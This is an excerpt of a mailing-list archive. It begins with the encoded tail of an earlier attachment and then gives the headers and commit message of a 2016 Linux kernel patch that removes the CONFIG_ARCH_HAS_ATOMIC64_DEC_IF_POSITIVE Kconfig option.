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

--tThc/1wpZn/ma/RB--

From - Thu Nov 08 21:39:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 2/2] atomic64: No need for CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
Date: Mon, 12 Sep 2016 10:47:12 -0700
Lines: 247
Approved: news@gmane.org
Message-ID: <1473702432-8116-3-git-send-email-vgupta@synopsys.com>
References: <1473702432-8116-1-git-send-email-vgupta@synopsys.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1473702506 3042 195.159.176.226 (12 Sep 2016 17:48:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 12 Sep 2016 17:48:26 +0000 (UTC)
Cc: <linux-kernel@vger.kernel.org>,
        <linux-snps-arc@lists.infradead.org>,
        Vineet Gupta <Vineet.Gupta1@synopsys.com>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        "Michael Ellerman" <mpe@ellerman.id.au>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        "David S. Miller" <davem@davemloft.net>,
        Chris Metcalf <cmetcalf@mellanox.com>
To: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        "Ingo Molnar" <mingo@kernel.org>,
        Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 12 19:48:15 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bjVL1-0007Xj-6P
	for glpp-linux-parisc@m.gmane.org; Mon, 12 Sep 2016 19:48:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755781AbcILRsK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 12 Sep 2016 13:48:10 -0400
Original-Received: from smtprelay.synopsys.com ([198.182.47.9]:37185 "EHLO
        smtprelay.synopsys.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752335AbcILRsC (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 12 Sep 2016 13:48:02 -0400
Original-Received: from us02secmta1.synopsys.com (us02secmta1.synopsys.com [10.12.235.96])
        by smtprelay.synopsys.com (Postfix) with ESMTP id 1C8D224E0D40;
        Mon, 12 Sep 2016 10:47:54 -0700 (PDT)
Original-Received: from us02secmta1.internal.synopsys.com (us02secmta1.internal.synopsys.com [127.0.0.1])
        by us02secmta1.internal.synopsys.com (Service) with ESMTP id E0C794E215;
        Mon, 12 Sep 2016 10:47:54 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (unknown [10.13.184.66])
        by us02secmta1.internal.synopsys.com (Service) with ESMTP id E693A4E202;
        Mon, 12 Sep 2016 10:47:53 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (localhost [127.0.0.1])
        by mailhost.synopsys.com (Postfix) with ESMTP id AB229277;
        Mon, 12 Sep 2016 10:47:53 -0700 (PDT)
Original-Received: from us01wehtc1.internal.synopsys.com (us01wehtc1.internal.synopsys.com [10.12.239.235])
        by mailhost.synopsys.com (Postfix) with ESMTP id 3850D268;
        Mon, 12 Sep 2016 10:47:48 -0700 (PDT)
Original-Received: from IN01WEHTCB.internal.synopsys.com (10.144.199.106) by
 us01wehtc1.internal.synopsys.com (10.12.239.231) with Microsoft SMTP Server
 (TLS) id 14.3.266.1; Mon, 12 Sep 2016 10:47:47 -0700
Original-Received: from IN01WEHTCA.internal.synopsys.com (10.144.199.103) by
 IN01WEHTCB.internal.synopsys.com (10.144.199.105) with Microsoft SMTP Server
 (TLS) id 14.3.266.1; Mon, 12 Sep 2016 23:17:45 +0530
Original-Received: from vineetg-Latitude-E7450.internal.synopsys.com (10.9.130.78) by
 IN01WEHTCA.internal.synopsys.com (10.144.199.243) with Microsoft SMTP Server
 (TLS) id 14.3.266.1; Mon, 12 Sep 2016 23:17:44 +0530
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1473702432-8116-1-git-send-email-vgupta@synopsys.com>
X-Originating-IP: [10.9.130.78]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26959 gmane.linux.kernel:2306779 gmane.linux.kernel.arc:1466 gmane.linux.ports.alpha:3886 gmane.linux.ports.arm.kernel:527099 gmane.linux.ports.mips.general:56274 gmane.linux.ports.ppc64.devel:132800 gmane.linux.ports.sparc:23621 gmane.linux.kernel.cross-arch:33774
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26959>

This came to light when implementing native 64-bit atomics for ARCv2.

The atomic64 self-test code uses CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
to check whether atomic64_dec_if_positive() is available.
It seems it was needed when not every arch defined it.
However as of current code the Kconfig option seems needless

- for CONFIG_GENERIC_ATOMIC64 it is auto-enabled in lib/Kconfig and a
  generic definition of API is present lib/atomic64.c
- arches with native 64-bit atomics select it in arch/*/Kconfig and
  define the API in their headers

So I see no point in keeping the Kconfig option

Compile tested for:
 - blackfin (CONFIG_GENERIC_ATOMIC64)
 - x86 (!CONFIG_GENERIC_ATOMIC64)
 - ia64

Cc: Richard Henderson <rth@twiddle.net>
Cc: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Cc: Matt Turner <mattst88@gmail.com>
Cc: Russell King <linux@armlinux.org.uk>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Will Deacon <will.deacon@arm.com>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: Paul Mackerras <paulus@samba.org>
Cc: Michael Ellerman <mpe@ellerman.id.au>
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: "David S. Miller" <davem@davemloft.net>
Cc: Chris Metcalf <cmetcalf@mellanox.com>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: "H. Peter Anvin" <hpa@zytor.com>
Cc: x86@kernel.org
Cc: Andrew Morton <akpm@linux-foundation.org>
Cc: Vineet Gupta <vgupta@synopsys.com>
Cc: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>
Cc: Linus Walleij <linus.walleij@linaro.org>
Cc: Matthew Wilcox <willy@linux.intel.com>
Cc: Alexander Potapenko <glider@google.com>
Cc: Andrey Ryabinin <aryabinin@virtuozzo.com>
Cc: Herbert Xu <herbert@gondor.apana.org.au>
Cc: Ming Lin <ming.l@ssi.samsung.com>
Cc: Arnd Bergmann <arnd@arndb.de>
Cc: Geert Uytterhoeven <geert@linux-m68k.org>
Cc: Peter Zijlstra <peterz@infradead.org>
Cc: Borislav Petkov <bp@suse.de>
Cc: Andi Kleen <ak@linux.intel.com>
Cc: Boqun Feng <boqun.feng@gmail.com>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-arm-kernel@lists.infradead.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
